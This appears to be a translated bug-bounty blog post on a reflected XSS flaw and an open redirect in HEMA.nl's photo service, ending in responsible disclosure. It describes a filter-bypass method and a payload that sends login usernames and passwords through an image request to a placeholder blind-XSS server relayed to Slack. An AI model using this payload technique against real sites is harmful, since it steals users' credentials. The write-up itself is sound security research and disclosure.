实战剖析:HEMA.nl反射型XSS漏洞与凭证窃取攻击链

本文详细记录了在fotoservice.hema.nl发现反射型XSS漏洞的全过程,包括绕过防火墙限制、构造窃取凭证的载荷,以及通过Slack通道接收泄露数据的完整攻击链演示。

反射型XSS漏洞实战:HEMA.nl照片服务的攻击链剖析

概念验证
浏览器上方展示攻击效果,下方私人Slack频道实时显示窃取的用户凭证。

背景介绍

反射型XSS漏洞极具挖掘乐趣——它们无处不在,且精心构造的注入载荷可能造成重大影响。本文将探索如何发现此类漏洞并构建定制化载荷,同时突破各种限制并找到有效解决方案。

目标选择:HEMA.nl

荷兰国民品牌HEMA以其香肠、苹果派和遍布全国的杂货店闻名。但我们需要确认是否允许对其资产进行安全测试。英文免责声明明确允许漏洞挖掘与报告,甚至可能获得奖励。荷兰版声明进一步补充了奖励细节:“美味的HEMA苹果派!”——看来我们的漏洞或许能换来美食奖励。

侦查阶段:从何处入手?

作为顾客,我计划订购照片打印服务,这有助于发现HEMA使用的不同域名。启用Burp Suite社区版拦截HEMA.nl流量后,我通常通过枚举子域名或主站功能页面开始侦查。Burp Suite的站点地图和漏洞扫描功能极大提升了效率。

Burp Suite配置与扩展

新建项目并配置仅捕获HEMA.nl流量后,我启用了两个关键扩展:

  • Param Miner:自动发现查询字符串和POST正文中的隐藏参数
  • Paramalyzer:构建参数关系图谱,可视化共享变量(如userId)的端点关联

(向扩展作者James ‘albinowax’ Kettle致谢:过去半年该工具助我发现70+漏洞,部分获得高额奖金)

手动构建站点地图

虽然Burp自带爬虫功能,我仍偏好手动探索以深入理解站点功能与子域名关系。通过Chrome的SwitchyOmega扩展快速切换代理设置后,我开始模拟照片订购流程。

HEMA.nl顶部菜单的“Fotoservice”指向子域名https://foto.hema.nl/。漏洞挖掘需关注模式识别:URL参数、外部加载的子域名及视觉差异。对比主站与子站发现,右上角用户菜单新增“Mijn fotoprojecten”(我的照片项目)入口。

点击该链接跳转至https://foto.hema.nl/mijn-hema/fotoprojecten/,但页面按钮指向认证端点auth.hema.digital——初始目标范围未包含该域名,需立即添加到Burp监控范围。

附加发现:auth.hema.digital开放重定向漏洞

仔细查看请求参数时发现delegation_url和token参数。任何包含"URL"字样的参数都需警惕!篡改URL可能造成开放重定向(用于钓鱼攻击)或服务端请求伪造(SSRF)。

将URL替换为Protozoan.nl后,Location头成功指向自定义域名——开放重定向漏洞确认!虽然该漏洞需配合密钥token使用,但仍是完美的攻击链跳板。

反射型XSS主战场:targetPage参数

原始重定向指向:
https://fotoservice.hema.nl/user/login.html?targetPage=https%3A%2F%2Ffotoservice.hema.nl%2Fcis%2Fitems.html%3Faccess_code%3D[屏蔽代码]

又一个包含URL的参数targetPage!检查页面源码发现该参数值被直接插入script标签内的字符串中。我们需要突破window.location.href='参数值'的约束以执行恶意代码。

六步突破法

  1. 注入单引号闭合字符串 → 失败(被URL编码)
  2. 注入</script>闭合标签 → 失败(被防火墙拦截)
  3. URL编码</script>%3c%2f%73%63%72%69%70%74%3e → 失败(无回显)
  4. 测试特殊字符<,>,%2F → 失败(服务器拒绝)
  5. 关键突破:删除URL起始部分 → 成功!参数值被重写为/user/'参数值'且取消URL编码
  6. 字符集测试确认可安全使用();字符后,构造经典alert(1)载荷

终极载荷:凭证窃取与Slack通知

成功登录后触发handleLogin函数时执行我们的载荷。最终载荷实现:

  1. 窃取用户名密码
  2. 发送至攻击者私有Slack频道
  3. 重定向用户至正常页面避免察觉

载荷URL结构
https://fotoservice.hema.nl/user/login.html?targetPage=%27;[载荷代码]%27

载荷分解

  • %27;:闭合字符串并终止语句
  • w=%27%23%27;:注入#字符使服务器允许使用方括号(关键突破点)
  • window.stop():终止原始重定向
  • document.images[0].src=atob([Base64编码URL]):通过图片请求外传数据
  • atob('aHR0cHM6Ly95b3VyLW93bi1ibGluZC14c3Mtc2VydmVyL2hlbWEv')解码为攻击者服务器URL
  • 拼接loginForm.login.valueloginForm.password.value窃取凭证
  • setTimeout实现3秒后重定向至原域名

高级技巧:Blind XSS服务器搭建

使用https://github.com/mazen160/xless 工具快速部署盲注XSS服务器,将泄露数据转发至Slack频道并获得实时推送通知。

漏洞限制

  • 需用户主动访问含载荷URL
  • 仅在使用者成功登录后触发

责任披露与奖励

HEMA展现了优秀的安全响应机制:明确的披露政策、友好快速的邮件回复,以及苹果派/礼品卡奖励。尽管2020年COVID-19疫情造成经营压力,但保护用户数据始终是各方共同利益所在。

时间线

  • 05/08 发现XSS#1与开放重定向
  • 05/09 发现XSS#2-#5
  • 05/11 确认漏洞并追加SQL注入报告
  • 05/14 获得100欧元礼品卡
  • 06/05 因持续贡献获得额外奖励

解决方案

  • 开放重定向:采用URL白名单机制
  • XSS漏洞:对用户输入实施严格编码/转义处理

最终奖励
100欧元HEMA礼品卡(可兑换香肠或苹果派)+额外奖金(累计报告5个XSS、1个SQL注入及多个其他漏洞)


研究过程中无动物受到伤害

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计